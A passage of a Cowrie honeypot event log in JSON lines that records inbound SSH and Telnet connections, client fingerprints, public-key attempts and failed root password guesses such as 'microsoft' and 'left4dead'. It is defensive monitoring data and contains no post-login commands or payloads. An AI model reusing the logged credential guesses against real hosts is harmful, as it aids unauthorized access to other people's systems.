{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:17.226835Z","src_ip":"176.32.39.21","session":"adf5c70e0b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:17.347316Z","src_ip":"176.32.39.21","session":"adf5c70e0b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"microsoft","message":"login attempt [root/microsoft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:17.720906Z","src_ip":"176.32.39.21","session":"adf5c70e0b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:18.844137Z","src_ip":"176.32.39.21","session":"adf5c70e0b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7ee82b16c1","protocol":"telnet","message":"New connection: 152.42.224.71:34356 (10.17.0.5:23) [session: ec7ee82b16c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:23.460890Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34368,"dst_ip":"10.17.0.5","dst_port":23,"session":"671b2641d383","protocol":"telnet","message":"New connection: 152.42.224.71:34368 (10.17.0.5:23) [session: 671b2641d383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:24.443935Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":50884,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ff5ba745bc","protocol":"ssh","message":"New connection: 94.159.98.239:50884 (10.17.0.5:22) [session: 24ff5ba745bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:25.217578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:25.235014Z","src_ip":"94.159.98.239","session":"24ff5ba745bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:25.374594Z","src_ip":"94.159.98.239","session":"24ff5ba745bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"left4dead","message":"login attempt [root/left4dead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:25.863340Z","src_ip":"94.159.98.239","session":"24ff5ba745bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34380,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b756c070e0a","protocol":"telnet","message":"New connection: 152.42.224.71:34380 (10.17.0.5:23) [session: 1b756c070e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:26.060037Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:26.991201Z","src_ip":"94.159.98.239","session":"24ff5ba745bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.452337980270386,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:34.412847Z","src_ip":"152.42.224.71","session":"bd5b5e1a0100","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.981770753860474,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:37.929177Z","src_ip":"152.42.224.71","session":"c1d0db47117b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":45456,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1803612d0cf","protocol":"ssh","message":"New connection: 108.181.2.243:45456 (10.17.0.5:22) [session: a1803612d0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.518783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.523812Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.592288Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:51:38:7b:42:c8:cf:6d:c0:c3:3f:f1:7b:f8:0d:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+oK2BBBYpaRiTAih5KcoBW72U+S3u/d5GYL+EbpUYtUPU3vaSU8lxVvAyOJdr4qK8ZQx17XSvnwsgNcLC6XJS/O15mgvvlfMwTldRC/rKdWsAIw6CgaozVt2BdCSNFx6MQNTl2RSzED0mwrZKHbGHA6Bv4BCqQCVokFA+MiN523CNUtT8dUKUa8jc70UjCfdIy/HwC9dAblKbcvYfmt1+uphFknLe1eK6zx9grHrEbDAjaJJKCF9z6sWhn0z68ZdLwePRikB3XL+gS0x3w6GwcZoOwj4mWs1+GaeHOXk7ocNcG3jmf5BYzl3+55rkhXsJGudlOgTshjbKpDJcTkPh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:51:38:7b:42:c8:cf:6d:c0:c3:3f:f1:7b:f8:0d:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.915727Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:51:38:7b:42:c8:cf:6d:c0:c3:3f:f1:7b:f8:0d:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+oK2BBBYpaRiTAih5KcoBW72U+S3u/d5GYL+EbpUYtUPU3vaSU8lxVvAyOJdr4qK8ZQx17XSvnwsgNcLC6XJS/O15mgvvlfMwTldRC/rKdWsAIw6CgaozVt2BdCSNFx6MQNTl2RSzED0mwrZKHbGHA6Bv4BCqQCVokFA+MiN523CNUtT8dUKUa8jc70UjCfdIy/HwC9dAblKbcvYfmt1+uphFknLe1eK6zx9grHrEbDAjaJJKCF9z6sWhn0z68ZdLwePRikB3XL+gS0x3w6GwcZoOwj4mWs1+GaeHOXk7ocNcG3jmf5BYzl3+55rkhXsJGudlOgTshjbKpDJcTkPh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.919915Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:1e:2c:a0:23:46:70:b2:f8:2b:b1:5c:c9:a8:84:eb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALeQ5Z+SIM9lpqJvfno7O14GCeYH+JRVJAsuQtKdIeSm6T8NigkmXjOW6CZ+3Q7T4QCBNy1wJIz9X/KFWvv5nVhSMQ3xUX0KtvXLOJSExh0uUfRP8V+G9YRagEvVDKdDLpdrxmPJI3u+0JwZ9lsKSJN4L0XBT7vCKPFp5+WsPc5FAAAAFQCdPNDqRP5DqsEQqmusBIhfYD05cQAAAIB3dGDJOiacXSBNMKiZjlzalkM1POfBXLJAVdsbD3WdjsaArzktYc36AOEec3c6qforGWAeskjeBiYVN/Ky8LlOgHNFuJAA9lvI8vRYI8s7yPxeTqYQ6bAPlRH7gdNThyEI4Me/ZeufL2BTRNpOtp/KvdqA33b2uybN5u5mCUCbZAAAAIA4Bz0kylIM4Ny0hN833BszbsicTGvUA7Uc0zKodVeW6hAz1jxDCIiFbuYWznGhB6kQ2szQ11tepj3IoTKppJZa+IkzG6CEgkV/0axh6iTugamTgBHnc+Re5Mig7YcMJRRB+eodS4l+uq4Lr4R7FicZUPKNpWmjKIUtwrZTTtgdNw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 56:1e:2c:a0:23:46:70:b2:f8:2b:b1:5c:c9:a8:84:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.991298Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:1e:2c:a0:23:46:70:b2:f8:2b:b1:5c:c9:a8:84:eb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALeQ5Z+SIM9lpqJvfno7O14GCeYH+JRVJAsuQtKdIeSm6T8NigkmXjOW6CZ+3Q7T4QCBNy1wJIz9X/KFWvv5nVhSMQ3xUX0KtvXLOJSExh0uUfRP8V+G9YRagEvVDKdDLpdrxmPJI3u+0JwZ9lsKSJN4L0XBT7vCKPFp5+WsPc5FAAAAFQCdPNDqRP5DqsEQqmusBIhfYD05cQAAAIB3dGDJOiacXSBNMKiZjlzalkM1POfBXLJAVdsbD3WdjsaArzktYc36AOEec3c6qforGWAeskjeBiYVN/Ky8LlOgHNFuJAA9lvI8vRYI8s7yPxeTqYQ6bAPlRH7gdNThyEI4Me/ZeufL2BTRNpOtp/KvdqA33b2uybN5u5mCUCbZAAAAIA4Bz0kylIM4Ny0hN833BszbsicTGvUA7Uc0zKodVeW6hAz1jxDCIiFbuYWznGhB6kQ2szQ11tepj3IoTKppJZa+IkzG6CEgkV/0axh6iTugamTgBHnc+Re5Mig7YcMJRRB+eodS4l+uq4Lr4R7FicZUPKNpWmjKIUtwrZTTtgdNw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:38.995394Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:1b:55:93:67:95:05:7b:4a:52:9f:6f:0f:33:ea:85","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImpyEoJN9QtaOaIvlnu8UHC72iU4EpWNFD0qv48HDTaGmV5NTduqwJQNjbD304jQbgzTY4Ifrj+3R5W4+WnhNGM5XPWRS6UXwA5CG7Qent6XeLzURT49F2HJkk5QiBkp9n6lliHoMAyV0VBuJFiBhUdvcrnuUnhuN5uKzGGbfOPAAAAFQC6eRxA6L2d74+/6YckWjfqWWP6TQAAAIBJv9C6I5e4gj6HWTeMqbw3Lpn4C3Su0EGI5Eef2jPHZ9NdZvzi4m3bWo0lriGTBUlbOcEMwZYdt/+GkwmnV8bbscZiTRcy8Qw2fG55WMd7QdTakOef9dUKYoWmjtzrY3gfhJX9EVYGH8zL80K6GRUXFk62eDYNHzWOW9QhIa1mjQAAAIAiFe1D20LoXLYdo30gsk1UJTnry9hZIcNaWQ3d4dFPH9cGUWUUHDVCEBtuKRuzbt26ry17z96IK70PhsvPULkshWmhwNOSwRF7nVloo5Wfde1S1azqhFRWHuCfNdr3m1RXCzFmJ6/QSZ6MHuzxwefYt+HWnF5GkuhEA3+kVsyGjg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a3:1b:55:93:67:95:05:7b:4a:52:9f:6f:0f:33:ea:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.068581Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:1b:55:93:67:95:05:7b:4a:52:9f:6f:0f:33:ea:85","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImpyEoJN9QtaOaIvlnu8UHC72iU4EpWNFD0qv48HDTaGmV5NTduqwJQNjbD304jQbgzTY4Ifrj+3R5W4+WnhNGM5XPWRS6UXwA5CG7Qent6XeLzURT49F2HJkk5QiBkp9n6lliHoMAyV0VBuJFiBhUdvcrnuUnhuN5uKzGGbfOPAAAAFQC6eRxA6L2d74+/6YckWjfqWWP6TQAAAIBJv9C6I5e4gj6HWTeMqbw3Lpn4C3Su0EGI5Eef2jPHZ9NdZvzi4m3bWo0lriGTBUlbOcEMwZYdt/+GkwmnV8bbscZiTRcy8Qw2fG55WMd7QdTakOef9dUKYoWmjtzrY3gfhJX9EVYGH8zL80K6GRUXFk62eDYNHzWOW9QhIa1mjQAAAIAiFe1D20LoXLYdo30gsk1UJTnry9hZIcNaWQ3d4dFPH9cGUWUUHDVCEBtuKRuzbt26ry17z96IK70PhsvPULkshWmhwNOSwRF7nVloo5Wfde1S1azqhFRWHuCfNdr3m1RXCzFmJ6/QSZ6MHuzxwefYt+HWnF5GkuhEA3+kVsyGjg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.072690Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:ae:77:cb:97:d7:d3:10:fa:56:e0:38:14:36:ca:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9W2gn3iuS70tKl4NJwrEr45x33QRcGRfQJRYjCEAqZdybtY4BMfpNUCaMxfdSoH3i24uC6dGo8kBwGUG/lt4NhISyHtA1MD4H/QEJjBxsoeOigSj0GGyV7P7Wgz2b5JQJY7wP7yn2gwDSkuL3sWKC+XMiaavCbnvC3A9vodavts4R1hq2eJrjxxjItB1p+ARLtz/tKnbKUVp4Qn0r/9yGyriTo2EWs+e2ls2D/23H1Q04vHLAY+INLJQbf4/LxhnZhLjrcx9Ls56Oc3mcICJSsG6SvUsLu5gBuz47quANX71Ia+y1Xx5j+GwUhyA1duASLR98BWSMMo0YakZ70HdIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:ae:77:cb:97:d7:d3:10:fa:56:e0:38:14:36:ca:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.142410Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:ae:77:cb:97:d7:d3:10:fa:56:e0:38:14:36:ca:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9W2gn3iuS70tKl4NJwrEr45x33QRcGRfQJRYjCEAqZdybtY4BMfpNUCaMxfdSoH3i24uC6dGo8kBwGUG/lt4NhISyHtA1MD4H/QEJjBxsoeOigSj0GGyV7P7Wgz2b5JQJY7wP7yn2gwDSkuL3sWKC+XMiaavCbnvC3A9vodavts4R1hq2eJrjxxjItB1p+ARLtz/tKnbKUVp4Qn0r/9yGyriTo2EWs+e2ls2D/23H1Q04vHLAY+INLJQbf4/LxhnZhLjrcx9Ls56Oc3mcICJSsG6SvUsLu5gBuz47quANX71Ia+y1Xx5j+GwUhyA1duASLR98BWSMMo0YakZ70HdIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.146117Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:39:3b:97:9a:e1:49:e6:ef:b2:d5:5b:10:e6:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VjqPH5pwfQkobSmT7sY0CqafkC1LcNcGf3ZBgu2PwjmCyaQkd37dXeaK4VF509v3M7AqMgPeAzbmP1L/4NHI8PljvRvRUPEo98moozWbENo4d0o5cr/xBlHVNRuNCmvzMcpZqThkuP7egX/EA7h384CHSm1HlwqVhUyNiM3JpSDZD7tnVZrv9oHplnNKxqVUsaq71IkBSolUVdNa8pNv7z+Tt9Z+VaVV+NyjuyGl0HDp0LF1qeA4BJDwpChrkpwHHYfn4iL8Ny6PFnT6VXO2Bc12vIi5IK7J91Q9ZVwPnyx0T2++iA/ivtnusn6auxRh6t2X0cJpmC6SrhRwxlAcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:39:3b:97:9a:e1:49:e6:ef:b2:d5:5b:10:e6:c2:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.215359Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:39:3b:97:9a:e1:49:e6:ef:b2:d5:5b:10:e6:c2:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VjqPH5pwfQkobSmT7sY0CqafkC1LcNcGf3ZBgu2PwjmCyaQkd37dXeaK4VF509v3M7AqMgPeAzbmP1L/4NHI8PljvRvRUPEo98moozWbENo4d0o5cr/xBlHVNRuNCmvzMcpZqThkuP7egX/EA7h384CHSm1HlwqVhUyNiM3JpSDZD7tnVZrv9oHplnNKxqVUsaq71IkBSolUVdNa8pNv7z+Tt9Z+VaVV+NyjuyGl0HDp0LF1qeA4BJDwpChrkpwHHYfn4iL8Ny6PFnT6VXO2Bc12vIi5IK7J91Q9ZVwPnyx0T2++iA/ivtnusn6auxRh6t2X0cJpmC6SrhRwxlAcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.219203Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:39.289402Z","src_ip":"108.181.2.243","session":"a1803612d0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35370,"dst_ip":"10.17.0.5","dst_port":23,"session":"206a495968ff","protocol":"telnet","message":"New connection: 152.42.224.71:35370 (10.17.0.5:23) [session: 206a495968ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:48.105446Z"}
{"eventid":"cowrie.session.closed","duration":27.978545427322388,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:51.439277Z","src_ip":"152.42.224.71","session":"ec7ee82b16c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c47d2b95ba6","protocol":"telnet","message":"New connection: 152.42.224.71:59022 (10.17.0.5:23) [session: 0c47d2b95ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:57.534632Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59024,"dst_ip":"10.17.0.5","dst_port":23,"session":"68d8fe13e911","protocol":"telnet","message":"New connection: 152.42.224.71:59024 (10.17.0.5:23) [session: 68d8fe13e911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:03.679692Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":44360,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cdf174c6f3a","protocol":"ssh","message":"New connection: 82.152.132.24:44360 (159.203.135.109:22) [session: 7cdf174c6f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:03.847974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:22:03.858146Z","src_ip":"82.152.132.24","session":"7cdf174c6f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac